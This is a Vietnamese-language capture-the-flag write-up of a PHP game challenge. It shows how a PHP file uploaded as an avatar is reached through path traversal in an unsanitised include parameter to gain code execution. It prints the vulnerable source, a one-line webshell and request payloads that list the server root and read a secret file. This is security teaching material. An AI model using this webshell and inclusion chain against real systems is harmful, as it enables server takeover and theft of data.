Ta nhập tên vào để tạo một account, lưu ý tên của account cũng có thể là một loại untrusted data nếu không được validate, ở đây ta thử đặt tên là <h1> Haha </h1>
để kiểm tra lỗ hổng HTML injection
Ở đây thì ta bị chặn bởi Pattern regex, tên phải chỉ bao gồm chữ cái thương và số, ta đặt tên là oga312
Game này gồm 3 chức năng chính
+ Hall of fame: hiển thị bảng xếp hạng của người chơi.
+ Game: khu vực bắt đầu trò chơi.
+ Profile: chức năng cập nhật ảnh đại diện người chơi.
Sau khi chơi game được một số điểm thì điểm sẽ được cập nhật ở Hall of fame
Ta sẽ test chức năng cập nhật ảnh đại diện người chơi xem thử có bị lỗ hổng file upload không, ta sẽ thử upload một file php với nội dung là <?php phpinfo(); ?>
để kiểm tra websites sẽ xử lý như thế nào với file có đuôi php này
Vậy websites này không ngăn chặn việc upload các file có đuôi là php, địa chỉ của file này được lưu ở /upload/oga312/avatar.jpg
, tên file đã được thay đổi trước khi được upload lên server
$response = "";
if (isset($_FILES["fileUpload"])) {
// Always store as avatar.jpg
move_uploaded_file($_FILES["fileUpload"]["tmp_name"], "/var/www/html/upload/" . $_SESSION["name"] . "/avatar.jpg");
$response = "Success";
}
Tuy nhiên khi truy cập để xem file này thì nó không thực thi code php mà xử lý code php như một chuỗi thông thường
Quay lại với chức năng game, nếu để ý ở phần URL thì có một param ?game= fatty-bird-1.html, ta thử đổi game= fatty-bird-2.html thì cho kết quả như sau:
Ta check qua source code của challenge
<?php
include './db.php';
// if is not login
if (!isset($_SESSION['name'])) {
header('Location: /register.php');
die();
}
if (isset($_POST["points"])) {
$points = intval($_POST["points"]);
$db->update_point($_SESSION['name'], $points);
header('Content-Type: application/json');
echo "Successfully update points";
die();
}
if (!isset($_GET['game'])) {
header('Location: /game.php?game=fatty-bird-1.html');
die();
}
----------> $game = $_GET['game']; <-------------
?>
<!DOCTYPE html>
<html lang="en">
<head>
<?php include './views/header.html'; ?>
</head>
<body>
<script>
function submitPoint(points) {
fetch("/game.php", {
method: "POST",
credentials: 'same-origin',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `points=${points}`,
}).then(resp => resp.text()).then(t => alert(t));
}
</script>
<?php include './navbar.php'; ?>
<br><br><br>
<br>
<div style="background-color: white; padding: 20px;">
-------------> <?php include './views/' . $game; ?> <-----------------
</div>
</body>
</html>
Biến $game
trong PHP được gán bằng giá trị của tham số game
từ URL thông qua phương thức GET mà không hề thông qua bất kỳ cơ chế sàng lọc nào, và include là một hàm nguy hiểm khi đọc và thực thi code trong một file mà không quan tâm đuôi file đó là gì
Kết hợp với việc ta hoàn toàn kiểm soát được nội dung file và biết được đường dẫn của file upload lên, ta có thể thực hiện Path Traversal để thao túng biến game trỏ đến địa chỉ của tập tin php mà đã đã upload
Đường dẫn của game có thể dự đoán là : /var/www/html/game/tengame
Đường dẫn của file upload là: /var/www/html/upload/ten_user/avatar.jpg
Ta thử với payload: ../upload/ten_user/avatar.jpg
Như vậy là chúng ta có thể thực thi được code php trên server và có thể chạy bất kì lệnh nào ta mong muốn. Ta sẽ upload một webshell đơn giản như sau để thực thi mã từ xa
<?php system($_GET['cmd']); ?>
Payload: ?game=../upload/ten_user/avatar.jpg&cmd = ls /
Payload: ?game=../upload/ten_user/avatar.jpg&cmd = cat /zzcbu1bdu1_secret.txt